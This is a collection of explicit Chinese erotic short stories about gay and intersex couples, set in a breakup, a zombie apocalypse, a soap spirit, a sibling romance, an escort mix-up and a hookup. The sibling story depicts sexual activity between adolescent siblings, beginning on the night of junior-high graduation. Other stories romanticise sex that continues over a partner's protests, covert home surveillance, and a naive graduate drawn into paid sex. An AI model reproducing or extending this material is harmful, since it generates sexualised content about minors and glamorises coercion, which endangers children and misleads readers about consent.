《你想看到怎样的攻》
3. 前任
云想玉刷到那条十几万赞的同城视频时,正抱着膝盖坐在沙发上,漫无目的地滑动屏幕。
视频配文:一个不喜欢喝奶茶的人爱上了一个喜欢喝奶茶的人。#前女友爱喝茶
配图:[白底黑字的招牌,字体张扬。]
定位Y市|前女友爱喝茶(餐饮店)
评论区热闹得很。
【嘉豪的店。】
【有没有情侣套餐?】
【找茬是不是!】
【我去,点上一杯再去失恋博物馆逛上一圈,岂不惬意?】
【前男友爱吃福(豆包AI).jpg】
【你别说,我前男友还真爱吃……这是能说的吗?】
【收款码也放前女友的呗!】
【前女友看完心脏慢慢休息下来了】
【一个月后:那就好好告个别吧】
【我不喝古茗,不喝一點點,不喝喜茶,不喝沪上阿姨,不喝蜜雪冰城,不喝……我就要喝这家前女友爱喝茶!】
【网上笑笑得了,搁现实里谁不想贷个百八十万的去急头白脸喝几杯,反正我是决定要去了,这月底31号就去尝尝】
【这个月哪有31号?不想去直说!】
【《我的24岁女上司》书友见面会,爱你老妈见面会,忘不掉的白月光见面会】
……
云想玉滑走时在心里默默跟了句:店主真是个傻逼。
随手刷到的视频,他没放在心上。
事实上,这三天他什么都很难放在心上,整个人像被抽空了力气,做什么都提不起劲。
三天了。
整整七十二个小时,陈迹没有联系他,一条消息都没有。
其实那天吵得不算凶。云想玉气上头,红着眼睛喊了一句“分手”,陈迹深深看他一眼,什么也没说,拿起外套出门了。
房子是陈迹买的,但入户时填的是云想玉的名字。此刻诺大的房子安静的可怕,每一个角落好像都残留着陈迹的气息。
云想玉又想哭了,但是他忍住了,决定出门走走散散心。
不知不觉就走到一个街口,他头一抬,正是那家被他骂了句傻逼的前女友爱喝茶。
店门口立着个小黑板,上面写着一行字:曾经答应给她一个家。
云想玉突然鼻尖一酸。
陈迹,混蛋。
说好的给我一个家。
鬼使神差地,他推门走了进去。
店里人还不少,等了十来分钟才排到他,看着一整排的心碎,想念,仍爱,前任特调……他眼尾轻抽,抿直唇角,把笑意压回去。
“您好,需要什么呢?”
他随便挑了个名字没那么咯噔的奶茶——玉叶金枝,拿到后便走出了店。
他撕开吸管插入,喝了一口。
……原来是凤凰单丛轻乳茶,味道居然还不错,他决定收回“店主真是个傻逼”的话。
拎着剩余的半杯奶茶慢慢往家走,走到门口时,他整个人愣住。
声控灯昏黄的光晕里,陈迹倚墙站着,身形颀长挺拔,眉眼冷俊,下巴冒出了点青茬。
“你还知道回来……”云想玉眼圈瞬间红了,下意识喃喃道。
陈迹没说话,走过来抽走他手里的奶茶随手一放,然后一把将他打横抱了起来。
“陈迹!放我下来!”云想玉慌乱地挣扎。
陈迹依然一言不发,下颌绷得很紧,抱着他径直走向卧室,踢上了门。
卧室没开灯,云想玉被扔到床上,还没反应过来,陈迹已经覆了上来。
他的吻带着惩罚力道,狠狠碾过云想玉的唇,然后一路向下。
云想玉双月退一凉,随即被扣着张开。
“陈迹!我不要……!”他想蹬腿,想推开那颗埋在他月退间的头,可力气根本敌不过。
那张网友用AI做的图——‘’前男友爱吃福‘’突然出现在他脑子里。
原来是这个意思。
他想笑,可又委屈,都分手了陈迹凭什么还这么理直气壮地吃?凭什么……
……。
期间陈迹一句话都没说。
只有云想玉哭着,骂着,最后身体背叛了意志,只剩不间断的氵叫。
一切平息后,云想玉瘫软在床,看着脸上没有一丝表情的男人,眼泪滑过泛红的眼角:“我……只是你发泄的工具吗?”
陈迹终于说话了。
“你这口騒滗离了我能活?”
他眉间餍足,漫不经心地补充:“家里监控没关。”
云想玉身体一僵,泪都忘了流,抿紧唇慢慢往下缩滑进被子里。
可被子隔绝不了声音。
“我不在的这三天,用我衣服磨滗的是谁?边磨边叫老公的又是谁?”
云想玉羞得无法自抑…。
云想玉的情绪是一阵一阵的。
羞耻过后,他转而又
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生气起来,猛地拉下被子,瞪着陈迹大喊:“是你把我变成这样的!”
说完眼泪又往下掉,他哽咽着重复道:“我本来不是这样的……是你……都怪你……”
两人在一起前,云想玉确实很单纯。他从小知道和别的男孩不一样,但从没弄过自己,也不明白为什么会有人沉迷这种事。
……。
“又哭。”陈迹把他抱进怀里,掌心抚着他颤抖的背,“好,都怪我。”
云想玉坐在他腿上,还在抽抽嗒嗒地哭,伤心极了,他忍不住捏拳锤他,可身子绵软提不起丝毫力气。
陈迹抓住他的手,放在嘴边吻了吻,低声说:“怪老公。”
这声老公让云想玉哭得更凶了。
他抬起哭花的脸质问:“你、你这三天去、去哪里了?”
“在公司看你。”陈迹抽过纸巾仔细给他擦脸。
云想玉挣扎往后仰,躲开他的手,“我们分手了,别碰我,呜呜呜……”
陈迹扣住他的细腰,不让他逃,“我不同意。”
“分手是一个人的事情!”
“我不同意。”陈迹淡淡道。
云想玉更委屈了:“你不同意也得同意!”
“行。”
云想玉一愣,他就知道,陈迹根本不爱他了,连挽留都这么敷衍。
下一秒,陈迹把他翻过来,让他趴在自己腿上,冷声开口:“看来是还不够。”
“什么?”云想玉还没反应过来,顺着话接。
“没把你那张嘴草服,让你这张嘴说个没完。”
“啪!”
“啊——!”
火辣辣的痛感在皮鼓炸开,云想玉尖叫出声,软肉抖出色气的弧度,尖尖迅速涨红起来。
更让他难堪的是,那儿竟也被这一巴掌打噴了。
“陈迹,我讨厌你!”云想玉哭着喊。
“还提分手吗?”陈迹的手悬在半空,随时可能落下第二掌。
云想玉嘴硬:“分手!”
“行。”陈迹冷笑,“分手就是想要。”
……。
陈迹这才松开手,把他重新抱进怀里。
云想玉失神了好一会儿,才抬起潮湿的眼睫,小声撒娇:“老公,我再也不说分手了……”
“嗯。”
“我要喝你亲手给我做的奶茶……”
“好。”
“你现在就去给我煮!”
4. 末世
“老公,他好可怜呀,我们救救他吧?”
连清抱着秦岘的手臂摇了摇,伸手指向不远处,漂亮的眼睛水盈盈的,染上了些不忍。
秦岘顺着那根葱白纤细的手指看过去,一个青年正被十几只面目狰狞的丧尸追着跑,跌跌撞撞,好几次都险些被扑倒。
“行啊,”他意味不明的哼笑一声,随即揽住连清的小腰俯身贴近他耳侧,“晚上三次,我就救他。”
连清身子一僵。
三次……
他脑子里瞬间闪过一些画面,白净的脸腾地红了。
末世前秦岘就强悍,末世后他觉醒雷系异能,身体素质全面增强,也包括那方面,吃酒度和粗石更程度愣是翻了一倍不止。
上上次碰上一个被变异动物追杀的大叔,他心生不忍让秦岘出手相助,秦岘说一次。那次他险些晕过去,第二天腿软得走不动路。
上次碰上一个与丧尸殊死搏斗渐渐落了下风的少女,他更是心软得不行,又让秦岘出手相助,秦岘说两次。
……………。
想到这里,连清的睫毛颤得更厉害了,他咬了咬下唇,那唇瓣本是粉嫩的,被牙齿一压,泛起一点白,松开后便浮起一丝嫣红。
三次……自己会死吗?
可是那个人……
他忍不住又往那边看了一眼,青年已经快跑不动了,身后的丧尸张着血盆大口,眼看就要扑上去。
“啊——!”青年惊恐交加,被一只丧尸勾破了衣角。
惨叫声和布料撕裂的声音传到连清耳里。
他心一揪,来不及害怕三次会怎么样,脱口而出:“好!”
话毕,秦岘松开了揽着他的手,像是早就料到般,骇人的白紫雷光从掌心炸开,十几道雷电精准地劈向那群丧尸,不偏不倚正中头颅。
丧尸甚至来不及发出嘶吼,就齐刷刷倒了下去,焦黑的尸体扭曲着冒烟。
连清呆呆地看着这一幕。
虽然已经见过很多次,但每次看到秦岘出手,他还是会被震撼到腿软。
老公好帅……好厉害。
他望向秦岘,眼里本因紧张蒙着的一层薄雾,被一点一点亮起来的光穿透,逐渐盈满崇拜。
那个死里逃生的青年腿一软,直接跪在地上,浑身抖得像筛糠,过了半分钟,他才抬起头,脸上又是血又是泪,狼狈得不成样子。
“谢、谢谢大哥……”他爬起身,踉跄着走过来,“谢谢大哥,谢谢嫂子,谢谢……”
连清下意识想说自己不是嫂子,但张了张嘴又闭上了。他是秦岘的……老婆,青年喊秦岘大哥,那喊他嫂子好像也没错?
算了,不管了。
“你别动,先歇口气。”
他说完转身从自己让秦岘必须挂在手臂上的真皮包包里翻出一瓶水和一袋饼干,递到青年面前。
“给你。”
青年愣住了,看着连清手里在末世算得上千金难买的水和食物,眼眶慢慢红了,“嫂子,你、你这是……”
“拿着呀。”连清催他,水润的眼眸微弯,唇边浮起两个浅浅的梨涡,“你肯定好久没吃东西了吧?快吃。”
“我……”青年嘴唇动了动,像是想说什么,最后只憋出一句:“谢谢嫂子,嫂子你人真好。”
连清摆摆手:“别说这些啦。你一会儿往东走,那边有个加油站,我们前几天清过,里面应该安全。你躲好,别乱跑了。”
他说话时眉头微微蹙着,眼里是实实在在的担忧,丝毫不作伪,仿佛眼前这个陌生人是他认识很久的朋友。
青年用力点点头,给两人深深鞠了一躬,转身朝东去了。
“老公,我们走吧,还要多久
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到黎明基地啊?走得我好累……”
连清仰起脸看秦岘,小声抱怨着,逆光里他脸上细小的绒毛清晰可见。
“背你?”
“哎呀不用啦,我就是说说而已。”
他抱着秦岘的手臂,两人并肩往前走。
走了几步,他又喊。
“老公,老公……”
“怎么?”
“晚上可不可以少一次?我怕。”
他声音软下来,带着点讨好的意味,眼眸湿漉漉地望向男人。
那双眼睛本就生得漂亮妩媚,眼尾微微上挑,睫毛又长又密,此刻盛满了期待和一点点怯意,下方的粉唇微微嘟着,唇珠饱满,鲜艳欲滴。
天生一副勾人的騒滗样,真是看得人几把痛。
秦岘低头看他,勾起嘴角一字一句道:“不怕,老公疼你。”
连清悄悄夹了夹腿,好不容易消下去的脸又红了,嗔道:“老公!不要那种疼啦……”
“好不好嘛,我受不了的……”
他整个人都快挂到秦岘身上了,小合鸟如毫无防备地隔着薄薄的T恤紧紧贴在男人结实的手臂上,无意识地轻轻蹭动,嘴里还在卖乖撒娇。
“老公,求你啦……”
“驳回。”
说话间,两人走出十几步,秦岘避开连清的视线,指尖微动,将一枚晶核反手掷了出去。
连清毫无所觉,正绞尽脑汁思考让秦岘同意减次数的话术。
慢慢朝东走的青年似有所感,猛地伸手抓住那枚晶核。
上品晶核!
“看来我比大叔和小妹的演技好,他们都只拿了中品呢……”
他咧嘴笑着,翻来覆去看了好几眼才揣进怀里,随即轻啧了一声:“可惜可惜,这活儿一个人只能接一回,再来一次怕是要被老板娘认出来咯。”
5.香皂
程衍洗澡从来都不用沐浴露,他只认香皂。
但这用香皂也是有讲究的,用人话来说就是有洁癖。他常年备着两块,一块洗身体,一块洗兄弟。
昨晚洗兄弟的那块刚好用完,他又赶着去上课,路过超市随手拿了一块,没注意到这不是他常用的那个牌子。
晚上洗澡,他照例先用第一块洗完,然后伸手去摸第二块,摸了个空。
这才想起来,新的还没拆。
程衍随手把湿发往后捋,从架子上把新香皂拿下来拆包装。
花洒没关,水声哗啦啦响。
“不准脱皂皂衣服!”
他手一顿。谁在说话?听起来像个小男孩。
等了等,没再听见动静,他便没当回事,浴室的窗没关太严,估计是楼下谁家孩子在闹吧。
这牌子包装还挺紧的,像有什么在里头用力扯着似的,程衍轻啧一声,用了点劲一把撕开,随即抓着它伸到花洒下冲。
平时他用香皂前都会冲一下水方便起泡,可这块冲了好一会儿,居然一点不化,表面还是干爽的。
他懒得再折腾了,心想反正自己身上已经淋水了,正所谓山不来就我,我自去就山,便直接将香皂按上去。
搓一下。
“啊呀!”
再搓一下。
“坏蛋!”
“不要……呜呜呜……”
程衍停下动作,慢慢皱起眉。
不对劲。这声音不是外面的,更像是从他手里这块香皂里传出来的。
他不搓,香皂就不出声,他一搓,香皂就出声。
一开始还是凶巴巴的,后来越来越软乎,还渐渐带上了点哭腔,听起来……有点烧啊。
程衍胆子向来大,这会儿不但没怕,反而来了点兴趣。他紧紧盯着手里的香皂,猛地用力擦了几下。
神奇的事发生了,明明没遇水,香皂液却越流越多,黏糊糊的,温温热热的,带着不一样的香味,比他之前用过的所有香皂都好闻。
下一秒,眼前白光一闪,怀里突然多了一个东西。
他下意识接住。
……一切都不科学了。
是个男孩,被他托着皮鼓面对面抱在怀里,两条细腿软软地挂在他臂弯上。
姿势不太妙。
男孩瘪着嘴,眼里蓄满了泪花,委屈巴巴地瞪他:“坏蛋!不许……………………”
程衍低头看着怀里这个自称“皂皂”的男孩,一时没说话。
皂皂浑身白得像牛奶,连眉毛也都是浅浅的绒白,整个人小小的一团,腰细得过分,可掌心托着的却颇有份量,连着大腿根都是肉乎绵软的。
……。
“没有了……皂皂没有了!”
皂皂委屈得不行,好不容易攒的皂液被程衍这么一弄,浪费了大半。
他是第一次履行职责帮人洗澡,就碰上这么一个大坏蛋,绵软的小手胡乱挥在男人脸上,哭道:“我的液液……”
……。
皂液彻底流尽,皂皂晕了过去,这时保护机制启动,他自动变回一块香皂。
程衍眼疾手快,一把抓住掉落的香皂。
小小的香皂通体雪白,表面凝着一层厚薄不均的白色浓露,与皂身色泽有些相异。
-
“皂皂,出来好不好?”
程衍自那天后就把皂皂好生放在自己的床头。
他通过监控可以看见皂皂经常趁他出门时化成人形在房子里转悠,甚至无师自通地学会了开电视,可一听到门锁响动,他就立马蹿回床头,变回一块安安静静的香皂。
程衍没辙了,站着床头故作威胁:“你再不出来,我就用你洗澡了。”
话音刚落,床上便凭空出现一个屈膝的雪团子。
程衍作势靠近,皂皂立马慌慌张张捂住小滗往后退,“皂皂不要!”
他双手举起,示意自己不会乱来,开口问:“那吃吃
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可以吧?”
皂皂半信半疑,放下手,歪着脑袋打量起眼前这个高大帅气的男人。
程衍被他盯着,面上淡然坦荡,丝毫不惧,实则视线早就锁在了..。
“不可以哦。”
预料之中被拒绝了。
程衍一点也不意外,这小香皂精要是这么容易就点头答应,那才叫奇怪。
他饶有兴致地挑挑眉:“为什么?我就舔舔,不干别的。”
皂皂眨了眨眼,长长的白睫扑闪间,露出一个狡黠的笑意,“因为……皂皂的小滗有毒!”
程衍自是没错过他这副表情,一看就在耍人,不过他也乐得配合这个小笨蛋。
“怎么有毒?”
皂皂得意地晃晃脑袋,哼哼两声:“因为那里流出来的液液是洗澡澡的那种呀。吃到嘴里肯定会中毒的,你个笨人类!”
程衍一听,居然……有点道理,但直觉告诉他,皂皂有东西瞒着他。
果然,还没等他开口,皂皂就试探地蹲起凑了过来,仰起白生生的小脸蛋:”但是……”
这个角度,露得更多了,还正对着程衍的方向。……,像蚌肉里的小珍珠,他自己浑然不觉,还傻乎乎地往男人跟前凑。
程衍不动声色地勾唇:“但是什么?”
皂皂眼睛亮晶晶的,煞有介事地提出解决方案:“但是只要吃了小蛋糕,皂皂的液液就会变得没毒啦,你就可以吃了!”
程衍听明白了,不就是要个小蛋糕才给添滗吗,买就是。
“行,等我。”
皂皂充满期待地点点头:“嗯嗯!”
他之前住在超市货架上,听到来来往往的人偶尔会聊道“等会去哪吃小蛋糕”“xxx蛋糕好好吃”,一直馋得不行。
所以他骗了程衍,他都已经是香皂精啦,怎么可能有毒呢?不过没关系,等美味的小蛋糕吃到嘴里,让坏男人吃一下也不是不行。
唔……总比被曹好吧?
6.妹哥
【青春期的儿子和闺女把头像换成这样啥意思啊?求告知?】
配图:[两个账号的微信头像,一张少年一张少女,画风色调一模一样。]
1L
情头???
2L
收拾收拾照个镜子见见亲家吧
3L
点一首《婆婆就是妈》,一切尽在不言中。
4L
也许你听说过骨科这个词……
5L
不许搞骨科不许搞骨科不许搞骨科
6L
事情或许没那么糟呢?有可能是一个早恋了另一个打掩护啊
7L
终于看到正常的兄妹关系了
8L
都别玩梗了,阿姨/叔叔不然你稍微讲讲你儿子和闺女的情况?平时相处咋样啊
9L楼主
我是阿姨。我们家兄妹俩关系一直很好,哥哥比妹妹大两岁,妹妹很黏哥哥,走哪跟哪,小时候还经常说长大后要嫁给哥哥呢,哥哥也宠妹妹,几乎是有求必应。
9L
其实听起来感觉蛮正常的诶!亲兄妹感情好得也很常见啊,可能就是觉得头像好看换着玩呢?
10L
对啊,现在小孩儿很爱跟风的,情头早就不只情侣在用了
11L
阿姨,放宽心,我觉得问题不大
12L楼主
是吗?但是我觉得他们的微信昵称也怪怪的,闺女的叫什么哥哥控,儿子的叫……妹妹奴?
12L
呃,我收回前面的话,阿姨你要不问问吧……
13L
我和我哥关系也挺好的,但绝对不会弄这些,也太奇怪了吧?不别扭吗?
14L
情头就算了,怎么还有这么符合自身情况的情侣昵称……怎么都不对劲吧!
15L
阿姨别猜了,直接去问问吧?
16L
其实我觉得问没有用吧,如果真的想隐瞒,那肯定是不会说出来的。
17L楼主
感谢大家回复!等他们回家了,我问问看。
18L
坐等
19L
蹲,可以在这层回复,有后续挨个t
……
-
陈栀一进家门就看见坐在沙发上的妈妈,下意识松开了哥哥的手。
“妈妈,我们回来啦。”
他换上拖鞋,声音刻意放轻快了些,像往常一样往沙发那边走。
陈叙跟在后面,肩上背着个黑色书包,手里拎着个小一号的粉色书包,淡淡道:“妈。”
明明家里有司机接送的,可这俩孩子,说不想麻烦李叔,每天自己坐公交车回来就好。
陈母看着他俩,又想起下午论坛里那些回复,心里忽然冒出个念头,是真的不想麻烦李叔,还是……想多点独处机会?
她欲言又止,最后轻轻道:“你们去洗个手,王妈做好饭了。”
她又揉了揉贴陈栀贴过来的小脸,“有宝宝爱吃的糖醋排骨。”
陈栀弯起眼睛笑:“好呀,妈妈我先把书包放回房间!”
他从陈叙手里接过自己的书包,又不着痕迹地向陈叙眨眨眼,才转身朝楼梯走。
两人一前一后地上了楼。
他故意在门口顿了顿,听到后面跟来的脚步声才推开门。
两人一起进去。
刚进门,陈栀就把书包往地上一丢,整个人扑进陈叙怀里,不停地蹭,软软地喊:“哥哥,小栀想……”
放学下班高峰期的公交车上太挤了,他被哥哥护在角落里,哥哥的手臂挡在他和人群之间,明明哥哥只比他大两岁,可却高大了那么多……他想着想着,便悄悄湿了。
然后又非常非常不小心地想起昨晚哥哥是怎么用一根手指就把他芄噴的……
陈叙喉结请轻滚,摸了摸他脑袋,压低声音道:“晚上。”
陈栀从他怀里仰起脸,眼睛亮晶晶的,眼尾因情动有些泛红,微微嘟着唇撒娇:“那要亲亲……”
陈叙盯着他看了两秒。
然后扣住他后颈,克制地亲了一下,哄道:“乖,妈还在楼下等我们吃饭。”
陈栀“呜”了一声,没出息地又流了点氺,红着脸小声道:“哥哥,我腿软了。”
陈叙好笑道:“那我抱你下去?”
“好呀好呀,哥哥抱我。”
陈栀最会的就是顺着杆子爬,哥哥都这么说了,那当妹妹的自然要肯定啦。
“行。”
陈叙说到做到,牵着他洗了个手,直接把人抱下了楼。
陈母平常看他们两黏黏糊糊,抱来抱去根本不会多想。可今天论坛上那些人说的话,她现在怎么看怎么觉得不对劲。
一顿饭,吃得有些诡异的沉默。
陈栀的心思根本没在饭上,一个劲的用小腿在桌底下蹭自己哥哥。
陈叙脸上没什么表情,正经吃饭,偶尔还给他夹一块糖醋排骨。
陈母在想事情,自然也没说什么话。
饭后。
陈栀把筷子一放,找了个要写作业的借口就想往楼上溜。
“宝宝,小叙,先别走。”
陈栀只好乖乖地回去,“妈妈,怎么啦?”
“你们俩微信头像和昵称是什么意思?”
陈母本来还想委婉点,可又觉得没必要,自己生的孩子,什么德性她清楚得很。
陈栀一愣,随即企图萌混过关,歪歪脑袋:“妈妈,什么什么意思呀?”
陈母第一次没吃他这套,目光越过陈栀,落在一直没吭声的陈叙身上。
“小叙,你说。”
陈栀瞬间蔫了。
陈叙干脆地承认:“是您想的那个意思。”
“你知道我说的是什么意思?”陈母心一颤。
陈叙看了一眼呆坐着的妹妹,点头:“知道。”
“那你说说,我想的是什么意思。”
陈叙毫不犹豫:“我喜欢小栀,不是兄妹那种。”
初三毕业那晚,小栀穿着纯白色的睡裙跑到他房间,坐在他腿上哭着问:“哥哥,为什么我和你不一样又一样?”
……。
可是,小栀不是问为什么和他一样吗?怎么却带着他扌莫上了……不一样的。
小栀哭声渐停,咬着唇半阖起眼,小脸红得像要滴血,喉咙里也发出细细的哼声,像只小猫一样:“哥哥、哥哥……小栀好热呀……好奇怪……”
热会传递吗?陈叙想,会的,物理学说过。
可热会通过言语传递吗?
直到妹妹几乎要在他手上魔起来,
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他才猛地回过神抽回。
小栀委屈了,又哭起来,哭得梨花带雨,一个劲儿表白道:“我喜欢哥哥……哥哥不喜欢小栀吗?”
他也不知自己怎么了,看着那双湿漉漉又满是依赖的眸子,便覆了上去佣扐糅起来。
……。
那一夜过后,兄妹情变质了。
很难说到底是妹妹装天真勾引他,还是他自己也对朝夕相处的妹妹生了龌龊心思。
又或者,他们根本没有谁先谁后。
陈叙从回忆里抽回神。
“哥哥……!”
陈栀彻底傻了,脑子乱成一团毛线,看看陈叙,又看看妈妈,手都不知道该往哪里放。
哥哥怎么直接承认了呀?万一、万一妈妈……
陈母往沙发上一靠,抱着胳膊忽然笑了。
“行,算你这个当哥哥的敢承认。”
她又看向陈栀,目光软下来,小栀从小身体弱,虽然比普通女孩多了个器官,但她一直是当女儿养的。
她早就想过,小栀这样的孩子,将来要什么样的人才能护他周全?那个人一定得懂他,得疼他,得舍得用一辈子对他好。
可唯独没想过,是自己另一个孩子。
小栀,如果哥哥可以给你幸福,那妈妈不反对。
-
30L楼主
他们承认了。
31L
啊??????
32L
阿姨你别只说一半啊!!说完再走!!!
33L
承认是换着玩的还是……?
34L楼主
承认在一起了。
35L
卧槽,活的骨科!
36L
阿姨你还好吗????
37L
等等等等等等,我刚来,这意思是真的亲兄妹在一起了?
38L
阿姨你要坚强啊!
39L
天呐,之前好多这种类似的帖子都是假的玩梗的,结果来了个真的?
……
50L楼主
我没事,谢谢你们。只要女儿幸福,跟谁在一起都行,是自己儿子更好,这样也不用考虑以后婚嫁问题,一家人一直在一起。
51L
格局打开了属于是
52L
???阿姨你这个思路
53L
婆婆就是妈诚不欺我
54L
不管真的假的,祝福!
55L
祝福!
56L
祝福!
57L
误入,这么假的帖子你们也信?老了卖你们保健品……
58L
不是说了吗,不管真的假的,都祝福
59L
祝福!os好喜欢骨科,兄妹更喜欢了
60L
阿姨能不能更新点日常!好馋骨科啊啊啊
61L
笑死,小说妹这就闻讯而来了
62L
谁不想急头白脸地来顿真骨好好嗑一嗑呢?
……
70L
这种事没必要骗人,涉及到隐私,帖子一天后会删除。最后再次感谢大家的回复和祝福,晚安好梦!
7.下三白眼
周砥天生一双下三白眼,面无表情盯着人时,总透着股生人勿近的凶气。
再加他一米八的个子,肩宽腿长,身形挺拔,往那儿一站,还真能唬住不少人。
每个朋友对周砥的初印象都是这人不好惹,相处久了才发现,他其实很好说话,甚至都不太会拒绝人。
男友追他没几天,嘴甜得要命,一口一个周哥,叫得他稀里糊涂就答应了交往。
刚满一个月那天,男友突然提了个请求,说能不能试试腿角。
他其实不太热衷于那事,但看着对方期待的样子,犹豫片刻还是点了头。
毕竟,谈恋爱是要负责的。精神需求也好,生理需求也罢,只要他做得到,都会尽量满足对方。
“嗯……”
可真到了床上,双退被举起来正面定弄的姿势,还是有点太超过他的阈值了。
他抬手捂住脸,喉咙里控制不住地溢出几声轻哼。
好奇怪……这是他发出来的声音吗?
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“周哥,爽吗?”
男友压下来,拿开他挡脸的手,凑到他耳旁问,带着股不得到回答就准备更坏的调调。
怎么这样问……
他难得不想答,咬紧了牙。
……。
“周哥,你这是爽得翻白眼了?”
“没、没有……我天生的……”
“是吗?可我看不见你的眼珠了。”
“不、啊——!”
完整点击观看。
8.门槛误会
林小满大学毕业四个月了。
一百二十多天里,他投出去的简历足以铺满出租屋那张一米二的床,什么类型的都试过了,无一例外全都石沉大海。
他每天醒来的第一件事就是看余额。
越来越少,越看越慌。
前几天他刷到一个帖子,标题取得那叫一个诱人:
在家躺着就能赚钱,月入五万不是梦。
林小满狠狠心动了,立马私信过去:您好,请问这个是怎么做的呀?
对方回得飞快:很简单,不用露脸,穿点性感的衣服拍拍照片发发视频就行,有人私信你就报价188之类的价格,对方打钱,你就赚到了。
这话说得很隐晦,林小满自动理解成了表面意思。
他这人吧,从小就特别单纯,属于那种同学借钱说下次还就等了一个又一个下次,诈骗短信说中奖了要回复一句“真的吗”的人。
所以这个在家躺着赚钱,他真信了。
当晚,他就冲去拼夕夕激情购入了一堆乱七八糟的衣服,什么纯欲战袍,什么超短水手服,还有黑的白的破洞的丝袜……三十五十的,零零总总花出去快四百。
他安慰自己:这是投资,会回来的。
老师拉他进了群,发了教程模版,教怎么拍照,什么角度显得胸大,什么角度显得屁股翘,什么角度显得腰细,什么光线滤镜显得皮肤白又嫩。
最后还告诉他记得在主页挂个?。
林小满听话地照做,并且花了整整一个下午研究怎么出片。
他换上那件水手服,上衣很短,几乎只盖住胸,露出一大片雪白的腰腹,短裙也短得可以,堪堪遮住大腿根,最后穿上一双白色过膝袜,袜口卡在大腿上,勒出一点软肉,像是蛋糕上挤的那一圈奶油。
用自拍架拍了几十张,他挑了两张最满意的。
一张是背对着跪坐在地上,微微塌腰翘臀,裙子下摆险些遮不住;一张是大腿并着侧坐在床上,向前倾身,稍稍拎起上衣下摆,恰到好处,引人十分想再窥近一分。
他看了看,脸红得发烫,但还是点了发送。
很快就有人回了几条评论。
【好双啊,我出来了,你也来试试看吧】
【妈妈坐我莲上,我鼻子包挺】
【烧火皮鼓乔这么高千日了是吧,真想用大调查思你】
【别擦了,你值得被爱。】
【6.6保下辈子:3736628287】
【吵架埋一下什么气都消了】
【我愿意听你的原生家庭故事,只要让我田田笔丸丸扔子就行】
……都是什么意思?
林小满皱着小脸看了半天,一句都没看懂,但是老师说评论区不用回复,等私信就行。
又过了一会儿,评论多了两条。
【求黑X号】
【兄弟们,这个我是真喜欢】
林小满把手机扔到一边,躺到在床上,略微苦恼。
为什么别人发就有人打赏和私信,而他只有这些奇奇怪怪的评论?
是他身材不够好?还是拍得不够好看?
正胡思乱想间,手机突然震动了,他抓起手机点开。
Xiao:有门?
有门是什么意思?林小满琢磨了一下,没想明白,不管了,反正老师教过,有人私信就报价。
ovo:188!
对面隔了好一会才回。
Xiao:只有188?
林小满一愣,什么意思?嫌贵?还是嫌便宜?他拿不准,试探着回复。
ovo:是的?
Xiao:188能干什么?
这个问题把林小满问住了。
188能干什么,他也不知道啊。
林小满赶紧戳开和老师的对话框:老师,有人问我188可以干什么,我该怎么回?
等了几分钟,老师没回。
那边又发了一条。
Xiao:在?
林小满有点急,又戳老师:老师老师,急!
这下老师终于回了:干什么都可以。
他知道了,飞快敲字回复Xiao。
ovo:什么都可以呀
对面像没听懂一样又重复问了一遍。
Xiao:什么都可以?
林小满马上回复了一个“嗯嗯”,还配了个小猫点头的表情包。
对面这次回得很快,直接甩过来一个微信号。
Xiao:加我。
林小满激动得手都在抖,成了!他终于赚到第一笔钱了!
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他火速复制,粘贴搜索加上了Xiao的微信,对面也很快转了188过来。
Xiao:出来请你吃饭。
林小满下意识要拒绝,哪有收了钱还让人请吃饭的?但又想到他已经收了188,干什么都可以,便答应了。
六点半,他准时站在小区门口。
一辆黑车停在他面前,漆面锃亮,清晰照出他的人影,车标他不认识,但总感觉很贵的样子。
车窗降了下来,一张意外帅的脸露了出来,并且示意他上车。
可林小满不知道,这不是单纯的吃饭。
秉承着给了188干什么都行的原则,他糊里糊涂地跟人吃完了饭,又被带去酒店开了大床房。
一晚上,……。
最后清润的嗓子都叫得沙哑不堪了,男人还不停歇。
翻着白眼晕过去前,男人俯身含住他吐在唇外的舌,林小满委屈地想,钱真的好难赚。
第二天下午他才醒,艰难地摸到手机,发现老师发了一条消息。
老师:不好意思哈昨天看成18888了,说错了。188是可以看不穿衣服的照片。顺便把门槛表发你一份,你自己对照着来。
【188:看果照
388:加微信
588:文字聊颜色
888:语音聊颜色
1388:打视频
18888:线下】
林小满天塌了。
……什么?
18888才能线下?
他才收了188就把自己卖了……
他盯着几行字来来回回看了好几遍,忽地一滴眼泪砸在手机屏幕上。
188……18888……
眼泪越来越多,手机屏幕都变得有些发花,他不敢置信,眼眸瞪得圆圆的,睫毛湿透了粘成一缕一缕,小巧的鼻尖也哭红了,可怜的要命。
身后的男人察觉到动静,起身环住他的细腰,问:“怎么了?”
林小满咬着唇摇摇头,哭得肩膀一抖一抖的,整个人都在发颤,他心想没什么,是自己太傻了,不关人家的事。
可他真的好崩溃……
突然手机叮咚一声。
【支付宝到账十八万八千八百八十八元】
“别哭。”
9.钓系姐姐
【姐姐,元宵节快乐。】
宁忻收到这条消息时,灶上的小锅正咕嘟咕嘟冒着热气。
围裙系带把腰肢勒得很细,他挽着袖子,露出一截白皙纤长的手臂,捏着勺子,从沸水中捞起白白胖胖的软糯团子。
他将汤圆端到桌上,舀起一个,咬了一小口,浓郁的芝麻馅儿淌出来,甜得他弯了弯眼。
吃完一整个后,他才拿起手机。
【弟弟同乐呀^_^】
按理说,上次和这个男大弟弟只是一夜.情,不会再联系了才对,没想到还会发节日祝福过来。
他没往心里去,继续吃着汤圆刷手机。
消息又弹出来。
【姐姐,我好像落了一条手链在你那,没记错的话,是在你床头柜的抽屉里。】
宁忻微微蹙眉,床头柜抽屉?
他搁下勺子,走进卧室拉开抽屉,还真有个丝绒盒子静静躺在里头。
打开,一条细细的白金手链,镶着碎钻,在光下闪得不行,无端透着几分矜贵。
倒还挺好看的。
他正准备拍个照发过去,但视线落到床上,忽然改了主意。
男大叫什么来着?
算了,想不起来,这不重要。
男大算是他约过的人里最优质的一个,长得帅不必多说,他从不在这种事上委屈自己,重点是这弟弟活好又吃酒,还带点s。
……。
简直是他做..过最漺的一次。
宁忻轻拍自己微微发烫的脸颊,水光潋滟的眼里漫起一丝回味。
他带着手链进了浴室。
对着洗手台前的大镜子,他把长发往后撩,微微抬起下巴,张嘴伸舌,舌尖上有颗粉色的爱心钉,亮晶晶的。
他把手链较细的一端挂在舌钉上,随后拿起手机自拍了一张。
照片里,整张艳丽的脸毫无遮挡,上扬的眼眸一睁一闭,像在wink,殷红的舌尖探出来,爱心舌钉上正勾着条白金手链,碎钻的光和舌钉的亮混在一起,色得不行。
他取下手链,翘起唇,点击照片发送。
【是这条吗】
